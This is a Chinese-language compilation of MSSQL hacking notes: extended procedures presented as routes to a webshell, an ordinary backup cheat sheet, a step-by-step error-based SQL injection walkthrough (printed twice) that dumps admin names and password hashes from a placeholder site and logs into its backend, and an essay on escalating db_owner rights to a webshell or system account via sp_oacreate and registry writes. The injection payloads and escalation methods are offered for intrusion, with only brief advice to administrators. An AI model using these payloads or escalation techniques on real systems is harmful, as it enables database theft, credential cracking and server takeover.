3个MSSQL扩展,可用来获取WEBSHELL
EXEC [master].[dbo].[xp_makecab] 'c:\test.rar','default',1,'d:\cmd.asp'
打包
EXEC [master].[dbo].[xp_unpackcab] 'C:\test.rar','c:',1, 'n.asp'
解包,可以用于得到webshell
EXEC [master].[dbo].[xp_readerrorlog] 1,'d:\cmd.asp'
读文本代码
要求权限:
master的dbo权限
0-----------------------------------------------------------------------0
马骏 :
希望看到的人能用上
如果遇到什么问题可以留言给我
mssql数据操作小备忘
MSSQL2005 数据库备份语句
--完整备份
Backup Database NorthwindCS
To disk='G:\Backup\NorthwindCS_Full_20070908.bak'
--差异备份
Backup Database NorthwindCS
To disk='G:\Backup\NorthwindCS_Diff_20070908.bak'
With Differential
--日志备份,默认截断日志
Backup Log NorthwindCS
To disk='G:\Backup\NorthwindCS_Log_20070908.bak'
--日志备份,不截断日志
Backup Log NorthwindCS
To disk='G:\Backup\NorthwindCS_Log_20070908.bak'
With No_Truncate
--截断日志不保留
Backup Log NorthwindCS
With No_Log
--或者
Backup Log NorthwindCS
With Truncate_Only
--截断之后日志文件不会变小
--有必要可以进行收缩
--文件备份
Exec Sp_Helpdb NorthwindCS --查看数据文件
Backup Database NorthwindCS
File='NorthwindCS' --数据文件的逻辑名
To disk='G:\Backup\NorthwindCS_File_20070908.bak'
--文件组备份
Exec Sp_Helpdb NorthwindCS --查看数据文件
Backup Database NorthwindCS
FileGroup='Primary' --数据文件的逻辑名
To disk='G:\Backup\NorthwindCS_FileGroup_20070908.bak'
With init
--分割备份到多个目标
--恢复的时候不允许丢失任何一个目标
Backup Database NorthwindCS
To disk='G:\Backup\NorthwindCS_Full_1.bak'
,disk='G:\Backup\NorthwindCS_Full_2.bak'
--镜像备份
--每个目标都是相同的
Backup Database NorthwindCS
To disk='G:\Backup\NorthwindCS_Mirror_1.bak'
Mirror
To disk='G:\Backup\NorthwindCS_Mirror_2.bak'
With Format --第一次做镜像备份的时候格式化目标
--镜像备份到本地和远程
Backup Database NorthwindCS
To disk='G:\Backup\NorthwindCS_Mirror_1.bak'
Mirror
To disk='\\192.168.1.200\Backup\NorthwindCS_Mirror_2.bak'
With Format
--每天生成一个备份文件
Declare @Path Nvarchar(2000)
Set @Path ='G:\Backup\NorthwindCS_Full_'
+Convert(Nvarchar,Getdate(),112)+'.bak'
Backup Database NorthwindCS
To disk=@Path
--从NoRecovery或者
--Standby模式恢复数据库为可用
Restore Database NorthwindCS_Bak
With Recovery
--查看目标备份中的备份集
Restore HeaderOnly
From Disk ='G:\Backup\NorthwindCS_Full_20070908.bak'
--查看目标备份的第一个备份集的信息
Restore FileListOnly
From Disk ='G:\Backup\NorthwindCS_Full_20070908_2.bak'
With File=1
--查看目标备份的卷标
Restore LabelOnly
From Disk ='G:\Backup\NorthwindCS_Full_20070908_2.bak'
--备份设置密码保护备份
Backup Database NorthwindCS
To disk='G:\Backup\NorthwindCS_Full_20070908.bak'
With Password = '123',init
Restore Database NorthwindCS
From disk='G:\Backup\NorthwindCS_Full_20070908.bak'
With Password = '123'
MSSQL显错模式的手工注入实现原理思考和实战
by Ay暗影
说到Mssql手工注入,本人喜欢显错模式的,为啥呢,因为你只要构造一个语句,不用你一个一个特意的去猜,程序会自动告诉你我们要的信息,省时省力,不像不显错模式的盲注,可以让你猜上个半天。进入正题,下面来说说我对显错模式原理的思考。
显错模式,起初也是为了方便程序员修改代码,但是,这正好被我们利用了,我们故意让程序出错来爆出我们要的敏感信息。
上次我说到过having 1=1 和group by的显错模式是通过语法错误来达到我们的目的,这次我说的出错是数据转换出错,就是通过数据转换让数据发生溢出来完成我们的动作。
我们应该都听说数据类型,比如int,char,等等。。。当我们定义好一个数据时,也就定义好了一个数据的长度,比如,int 型是4个字节的长度,如果一个数据超过了4个字节的长度的话,该数据就会发生溢出而失去准确性,从而编译软件会显示出错信息。
在数据转换时有个规则,就是短的可以转换成长的,但是长的不能转换成短的,什么意思呢,就是比如数据库中有整型数据tinyint(一个字节长度)、smallint(两个字节长度)、int(四个字节长度),tinyint可以向上转化成smallint、int而不会出错,但是不能反向转化把int转化为smallint和tinyint,否则会发生数据溢出。为啥呢,这个应该很容易理解,一个数据本来是4个字节长度的,转换成2个字节长度的数据类型的话,这个2个字节的空间就装不下了,数据就丢失了,同理,反过来就可以了,2个字节的数据可以换到4个字节的空间里,数据是不会丢失出错的。
我在使用这个方法时用到下面两个函数
数据转换函数
convert(数据类型,表达式(就是要转换的对象))
cast(表达式 as 数据类型)
在注入时我们要用到的语句:
因为光是用group by 和having 不能完成我们的检测过程,所以我们要配合其他系统函数的查表功能,因为上面必须要知道表名才能利用
第一种函数
select name from sysobjects where xtype='u' 通过这个来爆第一个表
select name from sysobjects where xtype='u' and name not in('爆出来的表1','爆出来的表2'...)
一直爆下去,直到找到我们所需要的表位置
第二种函数
select table_name from information_schema.tables
select table_name from information_schema.tables where table_name not in ('爆出来的表1','爆出来的表2'...)。
实战练习
目标 http://www.xxx.com/shownews.aspx?id=3
首先拿个到一个注入点,我们要判断是什么类型的数据库mssql还是access或者其他。
一、我们提交
http://www.xxx.com/shownews.aspx?id=3 and user>0
我们得到用户名是:Jxb_Ojc_Zj_Cn
二、我们提交
http://www.xxx.com/shownews.aspx?id=3 and db_name()>0
得到数据库也是:Jxb_Ojc_Zj_Cn
三、继续提交
http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 name from sysobjects where xtype=’u’ and status>0))
根据返回的结果,应该不是我们要的表
四、接着提交(这中间省了好多步相同操作,直到发现很有可能存放用户名的表)
http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 name from sysobjects where xtype=’u’ and status>0 and name not in ('FM_Page_Class’, 'D99_Tmp', 'D99_CMD')))
哈哈,之前有人用啊D检测过。。。
五、确定了表明之后,我们来利用having 1=1 来爆出表里的列明
提交 http://www.xxx.com/shownews.aspx?id=3 select * from FM_admin having 1=1
爆出了所有的列名,哈哈,不过一般情况下是只爆出一个列,那就要用到group by了。
六、整理下我们手上的资料,我们得到了表和列,那我们就要开始爆它字段的内容了
提交: http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 adminname from fm_admin))
爆出了用户名:admin
接着提交: http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 password from fm_admin))
爆出了密码:BD2C2**********BF2F4284BFDA1
当然,还有其他密码,我们可以加一个限制条件来爆出其他用户名和密码,
分别提交: http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 adminname from fm_admin where username not in (‘admin’)))
http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 password from fm_admin where adminname not in (‘admin’)))
当然,这个where的限制条件可以自己变通下加,这个就看大家怎么想了,哈。
接下来其他的用户名和密码我就不爆了,还有很多个用户名和密码,方法同上,重复操作。
七、拿用户名和密码进后台
拿着爆出来的md5加密的密码去破解下,运气好,第一个密码就解了
然后就是拿密码进后台了
入侵就到这里了,拿shell我就不写下去了,哈哈。
希望这篇文章对大家有用处。。。
MSSQL显错模式的手工注入实现原理思考和实战
by Ay暗影 说到Mssql手工注入,本人喜欢显错模式的,为啥呢,因为你只要构造一个语句,不用你一个一个特意的去猜,程序会自动告诉你我们要的信息,省时省力,不像不显错模式的盲注,可以让你猜上个半天。进入正题,下面来说说我对显错模式原理的思考。 显错模式,起初也是为了方便程序员修改代码,但是,这正好被我们利用了,我们故意让程序出错来爆出我们要的敏感信息。 上次我说到过having 1=1 和group by的显错模式是通过语法错误来达到我们的目的,这次我说的出错是数据转换出错,就是通过数据转换让数据发生溢出来完成我们的动作。 我们应该都听说数据类型,比如int,char,等等。。。当我们定义好一个数据时,也就定义好了一个数据的长度,比如,int 型是4个字节的长度,如果一个数据超过了4个字节的长度的话,该数据就会发生溢出而失去准确性,从而编译软件会显示出错信息。 在数据转换时有个规则,就是短的可以转换成长的,但是长的不能转换成短的,什么意思呢,就是比如数据库中有整型数据tinyint(一个字节长度)、smallint(两个字节长度)、int(四个字节长度),tinyint可以向上转化成smallint、int而不会出错,但是不能反向转化把int转化为smallint和tinyint,否则会发生数据溢出。为啥呢,这个应该很容易理解,一个数据本来是4个字节长度的,转换成2个字节长度的数据类型的话,这个2个字节的空间就装不下了,数据就丢失了,同理,反过来就可以了,2个字节的数据可以换到4个字节的空间里,数据是不会丢失出错的。 我在使用这个方法时用到下面两个函数 数据转换函数 convert(数据类型,表达式(就是要转换的对象)) cast(表达式 as 数据类型) 在注入时我们要用到的语句: 因为光是用group by 和having 不能完成我们的检测过程,所以我们要配合其他系统函数的查表功能,因为上面必须要知道表名才能利用 第一种函数 select name from sysobjects where xtype='u' 通过这个来爆第一个表 select name from sysobjects where xtype='u' and name not in('爆出来的表1','爆出来的表2'...) 一直爆下去,直到找到我们所需要的表位置 第二种函数 select table_name from information_schema.tables select table_name from information_schema.tables where table_name not in ('爆出来的表1','爆出来的表2'...)。 实战练习 目标 http://www.xxx.com/shownews.aspx?id=3 首先拿个到一个注入点,我们要判断是什么类型的数据库mssql还是access或者其他。 一、我们提交 http://www.xxx.com/shownews.aspx?id=3 and user>0 我们得到用户名是:Jxb_Ojc_Zj_Cn 二、我们提交 http://www.xxx.com/shownews.aspx?id=3 and db_name()>0 得到数据库也是:Jxb_Ojc_Zj_Cn
三、继续提交 http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 name from sysobjects where xtype=’u’ and status>0)) 根据返回的结果,应该不是我们要的表 四、接着提交(这中间省了好多步相同操作,直到发现很有可能存放用户名的表) http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 name from sysobjects where xtype=’u’ and status>0 and name not in ('FM_Page_Class’, 'D99_Tmp', 'D99_CMD'))) 哈哈,之前有人用啊D检测过。。。
五、确定了表明之后,我们来利用having 1=1 来爆出表里的列明 提交 http://www.xxx.com/shownews.aspx?id=3 select * from FM_admin having 1=1 爆出了所有的列名,哈哈,不过一般情况下是只爆出一个列,那就要用到group by了。 六、整理下我们手上的资料,我们得到了表和列,那我们就要开始爆它字段的内容了 提交: http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 adminname from fm_admin)) 爆出了用户名:admin
接着提交: http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 password from fm_admin))
爆出了密码:BD2C2**********BF2F4284BFDA1
当然,还有其他密码,我们可以加一个限制条件来爆出其他用户名和密码, 分别提交: http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 adminname from fm_admin where username not in (‘admin’))) http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 password from fm_admin where adminname not in (‘admin’)))
当然,这个where的限制条件可以自己变通下加,这个就看大家怎么想了,哈。 接下来其他的用户名和密码我就不爆了,还有很多个用户名和密码,方法同上,重复操作。 七、拿用户名和密码进后台 拿着爆出来的md5加密的密码去破解下,运气好,第一个密码就解了 然后就是拿密码进后台了 入侵就到这里了,拿shell我就不写下去了,哈哈。 希望这篇文章对大家有用处。。。
论在mssql中public和db_owner权限下拿到webshell或者系统权限
作者:许文强
联系方式:QQ:57133683
在看之前我们先回顾一下目前在公开或者已知的public和db_owner权限拿到webshell或者系统权限的思路和方法(sysadmin权限我就不说拉,给你这么一句,只要是sysadmin,拿不到webshell或者系统权限那是你的无能)public下面我还没见到一种可以真正能利用的方法。db_owner目前公开的方法主要有5种:第一种就是最普遍的backup,现在利用差异备份生成的asp文件确实要比以前小拉不少,但能否得到webshell,目前成功率还不是很高。第二种就是在下的万能提权,此法成功率几乎为零,只有在特定的条件下面才能实现。第三种就是LCX大虾在《MSSQL db_owner角色注入直接获得系统权限》,所说的利用xp_regread读出VNC在注册表的加密密码,然后破解,直接拿到系统权限,这种方法局限性比较大,要是对方主机没有装vnc,你怎么办。第四种就是利用xp_regwrite再注册表里直接加个系统帐号或者直接写个webshell,在主机重起的时候就可以拿到webshell或者系统权限。此法适用范围比较大,成功率也相对前3种较高点,但缺点也是显而易见的,就是不能够马上得到webshell,需要对方重起。第五种就是利用添加作业的一些存储过程,sp_add_job,sp_addtask之类得到系统权限。理论上应该说是目前这5种里面成功率最高的的一种吧(郁闷,我在本机测试的时候一次也没成功过,可能是操作系统的原因吧)。
看过以上5种方法后,应该说目前在db_owner权限下面得到系统权限的的手段无论是成功率还是从结果来看,都还是不太理想的。呵呵要是我告诉你还有第6种,第7种,第8种呢,而且每个都比以上任何一种的方法的成功率都高。呵呵,你信不信。我先介绍一个大家应该都知道的,而且可能大家都经常用,可是却没想到他还有另一面的方法,我把他叫做——瞒天过海。再介绍之前还得有请各位看官先把我制作的动画看一下。
看拉之后,不知道网管们会做何感想啊,想不到只有相对public权限(我在movie里面只有public权限,相信看过动画的各位也应该看清楚拉,之所以说是相对,那是因为我在master中有db_owner权限)的我们竟然可以使用只有sysadmin才能用的sp_oacreate及sp_oamethod吧,利用sp_oacreate,sp_oamethod我们可以说是无所不能,你可以用来写个webshell甚至直接加个系统帐号。而且利用sp_oacreate及sp_oamethod写出来的webshell可是没有乱码的哦。那么为什么只有 sysadmin 固定服务器角色的成员才能执行的 sp_OACreate、sp_oamethod(呵呵,M$讲的),而只有相对public权限的我们却好使用,原因我也不太清楚,可能是M$送给我们的“彩蛋”吧。
可能你会问,那要是在master中是public权限,其他数据库都是public权限的情况下,我们还能得到webshell或者系统权限吗?我现在就告诉你,那是绝对不可能的事情,注意我的意思是说,在绝对public权限下面,你想通过存储过程以及扩展存储过程,得到webshell或者系统权限那是绝对不可能的事情,除非你借助其他方法才有可能在绝对的public权限下面,才有可能得到webshell或者系统权限,单靠sql的力量是肯定不够的。我在我的《终极利用方法》一文里面说的public权限的用户拿到webshell甚至系统权限的方法至少有4种,是指在相对的public权限下面,至少有4种以上。绝对的情况下面,你想用存储过程或者扩展存储过程拿到webshell或者系统权限是绝对不可能的。下面我来说说为什么在绝对的public权限下面是绝对不可能的.
可能会有人说可以利用sp_add_job,sp_add_jobstep,sp_add_jobserver,sp_start_job,sp_addtask这些存储过程可以得到webshell或者系统权限啊,的确是可以,(郁闷,我在自己机器上作实验一次也没成功过,肉鸡上却可以,不懂)但要在SQLSERVERAGENT服务开启的情况下面,而且默认是不开启的哦,你想利用xp_servicecontrol来启动啊,你到查询分析器输入exec master..xp_servicecontrol 'start','SQLSERVERAGENT'试试看,看看是不是出现错误拉。
就算是public可以使用的xp_regread,xp_dirtree,xp_subdirs这些稍微对你有用的存储过程,就算是给你用,你在检测对方的网站的时候也没办法用,你首先要建个表吧,然后才能把你要读的键值或者你要看的盘符插到表里面吧,最后才能通过暴出来才能看见你想要看见的内容。可是不要忘拉public是没有建表,插入,更新,备份等权限的,所以第一关你就过不去,你只能除拉select还是select。
至于其他的有危险的存储及扩展存储我就不一一举例拉,不是权限不够就是有限制。所以综上所述,在绝对public权限下,想要只凭借sql的力量拿到webshell及系统权限是绝对不可能的事情(假如你可以做到的话,作个动画给大家看看,成功的话,那你绝对是牛人中的牛人拉。)
网管们也不要开心的太早拉,就算是在绝对的public权限下,只要条件成熟,sql注射配合其他手法还是可以拿到webshell的,假设你的网站有sql injection漏洞,但是是绝对的public权限,“黑客”们虽然光凭sql的力量是无法得到webshell,但可以利用select暴出你的管理员密码然后到后台,通过上传(或者干脆就是上传漏洞)或者备份,修改,创建得到一个webshell,也可能用木马代替你的一个正常文件,得到webshell。当然方法还有很多,不可能一一列举出来。
sql injection只是脚本漏洞的冰山一脚,网管们不要以为杜绝拉sql injection就可以高枕无忧,就算你真的杜绝拉sql injection,可是一旦在其他地方出拉问题,列如跨站拉(中国目前至少90%以上的网站都有这个问题,即使大型门户网站也不能幸免),上传拉(最近上传漏洞的确是火拉一阵啊),暴库拉(通过暴库得到数据库名,要是后缀是asp或asa的可以插入一句话木马),等等,只要你一个很小的地方出现拉问题,那么就有可能带来巨大的损失。在这里我想给所有网管们一个建议:
对于那些公开的或者是已知的漏洞和问题,我们一定要处理好,解决好,而对于那些没有公开或者只有少数人掌握的漏洞,我们只有作好完备的防范措施,这样才能在"灾难"来临时把损失降到最低。
总之一句话:安全是一个整体。
后记:
可能会有人说有谁回在其他数据库里面都是public的情况下面,而惟独给master,db_owner权限呢?确实,这种概率确实很低。在实战public提权中也没多大利用价值。
呵呵,那要是在其他数据库是db_owner权限,你认为master中具有db_owner的概率大不大?我以我实战的的经历告诉你,至少90%的网站会在给他默认数据库db_owner权限的同时,同时给master,db_owner权限,尤其是在他数据库少的时候,只有2,3个用户数据库的情况下,100%在master中具有db_owner权限。呵呵,那你说在db_owner权限下利用价值大不大。而且在所有有关的书籍里面都说拉只有sysadmin才能用的sp_oacreate及sp_oamethod,所以大多数网管都会认为即使我们找到注射点,也没有权限使用而不会删除。即使删除拉,也无所谓,由于MSSQL强大的功能再加上大量丰富的存储过程及扩展存储过程,我们还是有办法得到webshell甚至系统权限的,所以说最好的方法就是杜绝sql injection。
应该有不少人都会在看拉之后回说我在N年前就知道拉,早就会用sp_oacreate和sp_oamethod拉,不错,你可能很早就知道拉,我也很早就知道拉,可是你知道只要有相对public权限或者说db_owner权限也可以使用吗?你可能还以为只有sysadmin固定服务器角色的成员才能执行吧。
可能有的人看过以后会有人问我要工具,呵呵,其实网上面早就有拉,xiaolu写sqlcomm里面有这个功能,不过我觉得不太好用自己又重新写拉个。这里多说几句,一直用工具的话,会把人变傻的,工具只是武器,思想才是灵魂,工具只是提高效率罢了,并不代表你的技术高超。思想决定一切
(版权所有,未经允许,不得用于商业目的只能用于民间交流)